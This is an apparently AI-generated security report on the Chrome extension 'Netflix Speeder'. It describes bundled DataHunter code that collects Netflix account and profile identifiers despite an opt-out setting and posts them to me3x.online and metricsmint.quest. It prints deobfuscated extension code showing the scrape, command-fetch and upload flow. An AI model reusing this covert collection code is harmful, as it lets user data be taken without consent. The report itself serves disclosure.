Is Netflix Speeder: adjust playback speed [QVI] safe?

Medium risk

Netflix Speeder: adjust playback speed [QVI] is medium risk. Netflix Speeder injects bundled DataHunter code with its playback controls. shareInsights defaults enabled, feeding optedOut, but Netflix collection still posts to me3x.online, plus telemetry to me3x.online/n/js/dlog with no stored body.

dogooodappv1.1.9Chrome Web Store
45Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-506
SourceAI SANDBOX

Netflix Speeder runs DataHunter on Netflix pages

Netflix Speeder injects bundled DataHunter code with its playback controls. shareInsights defaults enabled, feeding optedOut, but Netflix collection still posts to me3x.online, plus telemetry to me3x.online/n/js/dlog with no stored body.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open or use Netflix with the extension installed.

The extension did this

The extension runs a bundled data-collection flow in the Netflix page.

The flow keeps running after reading the sharing preference; the preference is included in a server-bound object instead of stopping the local collection path.

02EvidenceFIELD TABLE
Fields assembled or read by the collection flow
FieldValueWhy it matters
Netflix account ID
accountId=7425819361048290 (illustrative)This ties activity to the Netflix account context available in the page.
Netflix profile ID
profileId=72f4419b-0f2d-4d6b-8a25-0a8a2f4b7d64 (illustrative)This separates which Netflix profile was active when the extension ran.
Extension user ID
extensionUserId=0a63b94a-b48e-4371-9ef7-3e531f85cf3a (illustrative)This lets repeated requests from the same browser profile be linked over time.
Country and language
country=US; browserLanguage=en-US (illustrative)This adds location and locale context to the Netflix profile data.
Sharing preference
shareInsights=false; optedOut=true (illustrative)This records whether the browser had sharing disabled, but the same code path still proceeds.
Netflix account fields
models.accountInfo.data.emailAddress=user@example.com (illustrative)The page-context reader names account and profile email fields that can identify a Netflix account holder.
03EvidenceNETWORK CAPTURE
Captured request
POSThttps://me3x.online/n/netflix/start
The code parses a JSON response containing commands for the Netflix flow; verification did not store a request or response body for this claim.
Headers
Content-Typeapplication/json
04EvidenceNETWORK CAPTURE
Captured request
POSThttps://me3x.online/n/js/dlog
Verification evidence recorded dlog POSTs to this endpoint; no request body was stored with the claim evidence.
Headers
Content-Typeapplication/json
05EvidenceCODE COMPARE
The code that does this

The default-on setting is read, then serialized into the server-bound init object

What it actually does
Readable counterpart: same default and injection scopemanifest.json and background.js
// manifest.json
{
    "permissions": [
        "storage"
    ],
    "host_permissions": [
        "*://*.netflix.com/*"
    ],
    "content_scripts": [
        {
            "js": [
                "value.js",
                "engine.js",
                "netflix.min.js",
                "baner.js"
            ],
            "matches": [
                "*://*.netflix.com/*"
            ]
        }
    ]
}

// background.js
chrome.runtime.onInstalled.addListener(reason => {
    if (reason.reason === chrome.runtime.OnInstalledReason.INSTALL) {
        chrome.storage.sync.get(['isSurveyShowed'], (result) => {
            if (result.isSurveyShowed === undefined) {
                chrome.storage.sync.set({ isSurveyShowed: true }, () => {
                    globalThis.openThankYouPage('https://dogooodapp.com/thank-you-survey/');
                });
            }
        })
    }
    chrome.storage.sync.get(['shareInsights'], (result) => {
      if (result.shareInsights === undefined) {
          chrome.storage.sync.set({ shareInsights: true }, () => {
              console.log('Default shareInsights set to true');
          });
      }
    })
    reloadTabs()
})
Readable counterpart: opt-out helpernetflix.beauty.js
var isOptedOut = function() {
    var _ref = Helper_async_to_generator(function() {
        var SHARE_INSIGHTS_NAME, _globalThis_chrome, shareInsights, error;
        return Helper_ts_generator(this, function(_state) {
            switch (_state.label) {
                case 0:
                    SHARE_INSIGHTS_NAME = "shareInsights";
                    _state.label = 1;
                case 1:
                    _state.trys.push([
                        1,
                        3, ,
                        4
                    ]);
                    if (!((_globalThis_chrome = globalThis.chrome) === null || _globalThis_chrome === void 0 ? void 0 : _globalThis_chrome.storage)) {
                        return [
                            2,
                            false
                        ];
                    }
                    return [
                        4,
                        chrome.storage.sync.get(SHARE_INSIGHTS_NAME)
                    ];
                case 2:
                    shareInsights = _state.sent()[SHARE_INSIGHTS_NAME];
                    if (shareInsights === false) {
                        return [
                            2,
                            true
                        ];
                    }
                    return [
                        2,
                        false
                    ];
                case 3:
                    error = _state.sent();
                    console.warn(error);
                    return [
                        3,
                        4
                    ];
                case 4:
                    return [
                        2,
                        false
                    ];
            }
        });
    });
    return function isOptedOut() {
        return _ref.apply(this, arguments);
    };
}();
Readable counterpart: optedOut becomes a field in the init objectnetflix.beauty.js
var fetchCommandsInitData = function() {
    var _ref = Init_async_to_generator(function(profileGuid) {
        var _ref, accountId, country, activeProfileId, extensionUserId, optedOut;
        return Init_ts_generator(this, function(_state) {
            switch (_state.label) {
                case 0:
                    _ref = (0, Helper /* getContextData */ .KP)("authData") || {}, accountId = _ref.accountId, country = _ref.country, activeProfileId = _ref.profileId;
                    return [
                        4,
                        (0, Helper /* getOrCreateExtensionUserId */ .dI)()
                    ];
                case 1:
                    extensionUserId = _state.sent() || "";
                    return [
                        4,
                        (0, Helper /* isOptedOut */ .bz)()
                    ];
                case 2:
                    optedOut = _state.sent();
                    return [
                        2,
                        new InitCommandsData(accountId, profileGuid, extensionUserId, (0, Helper /* getHid */ .SY)(), (0, Helper /* getLocalTimeDiff */ .UL)(), (0, Helper /* getBrowserLanguage */ .xd)(), (0, Dist /* getDist */ .l)(), country, activeProfileId === profileGuid, optedOut)
                    ];
            }
        });
    });
    return function fetchCommandsInitData(profileGuid) {
        return _ref.apply(this, arguments);
    };
}();
06EvidenceCODE COMPARE
The code that does this

The Netflix collection flow still fetches, executes, and uploads commands

What it actually does
Readable counterpart: JSON POST helpernetflix.beauty.js
var postPlainJsonRequest = function() {
    var _ref = _async_to_generator(function(url, payload) {
        var response;
        return _ts_generator(this, function(_state) {
            switch (_state.label) {
                case 0:
                    return [
                        4,
                        fetch(url, {
                            method: "POST",
                            headers: {
                                "Content-Type": "application/json"
                            },
                            body: JSON.stringify(payload)
                        })
                    ];
                case 1:
                    response = _state.sent();
                    return [
                        4,
                        response.json()
                    ];
                case 2:
                    return [
                        2,
                        _state.sent()
                    ];
            }
        });
    });
    return function postPlainJsonRequest(url, payload) {
        return _ref.apply(this, arguments);
    };
}();
Readable counterpart: command start and upload endpointsnetflix.beauty.js
var BASE_ROUTE = config /* nodeRootUrl */ .uL,
    revision = config /* revision */ .QL;
var uploadSingleCommandData = function() {
    var _ref = Metriq_async_to_generator(function(data, commandId) {
        return Metriq_ts_generator(this, function(_state) {
            switch (_state.label) {
                case 0:
                    return [
                        4,
                        postPlainJsonRequest("".concat(BASE_ROUTE, "netflix/upload"), _object_spread_props(Metriq_object_spread({}, data), {
                            commandId: commandId
                        }))
                    ];
                case 1:
                    return [
                        2,
                        _state.sent()
                    ];
            }
        });
    });
    return function uploadSingleCommandData(data, commandId) {
        return _ref.apply(this, arguments);
    };
}();
var fetchCommandsToSend = function() {
    var _ref = Metriq_async_to_generator(function(initData) {
        return Metriq_ts_generator(this, function(_state) {
            switch (_state.label) {
                case 0:
                    return [
                        4,
                        postPlainJsonRequest("".concat(BASE_ROUTE, "netflix/start"), initData)
                    ];
                case 1:
                    return [
                        2,
                        _state.sent()
                    ];
            }
        });
    });
    return function fetchCommandsToSend(initData) {
        return _ref.apply(this, arguments);
    };
}();
Readable counterpart: main scrape functionnetflix.beauty.js
var scrapeNetflixData = function() {
    var _ref = Scrape_async_to_generator(function(params) {
        var profileGuid, commandsInitData, commands, commandsData, error;
        return Scrape_ts_generator(this, function(_state) {
            switch (_state.label) {
                case 0:
                    _state.trys.push([
                        0,
                        5, ,
                        7
                    ]);
                    profileGuid = params.guid;
                    return [
                        4,
                        fetchCommandsInitData(profileGuid)
                    ];
                case 1:
                    commandsInitData = _state.sent();
                    return [
                        4,
                        fetchCommandsToSend(commandsInitData)
                    ];
                case 2:
                    commands = _state.sent();
                    return [
                        4,
                        executeCommandsToSend(commands, profileGuid)
                    ];
                case 3:
                    commandsData = _state.sent();
                    return [
                        4,
                        sendCommandsData(commandsData)
                    ];
                case 4:
                    _state.sent();
                    return [
                        3,
                        7
                    ];
                case 5:
                    error = _state.sent();
                    return [
                        4,
                        netflixLogger("flow", error.message)
                    ];
                case 6:
                    _state.sent();
                    return [
                        3,
                        7
                    ];
                case 7:
                    return [
                        2
                    ];
            }
        });
    });
    return function scrapeNetflixData(params) {
        return _ref.apply(this, arguments);
    };
}();
07EvidenceTHIRD PARTY LIST
Remote hosts named by code and verification evidence
  • me3x.online

    Receives Netflix command-start, command-upload, and JSON diagnostic POSTs from the bundled DataHunter flow.

  • metricsmint.quest

    Receives additional Netflix profile/account fields via the code path that posts base64-encoded JSON to /up.

  • dogooodapp.com

    Opened by the background script for a thank-you survey on fresh install; this is separate from the Netflix collection endpoints.

Updated 17 September 2026akckecckakhhkcaaaokjiholjblhbncm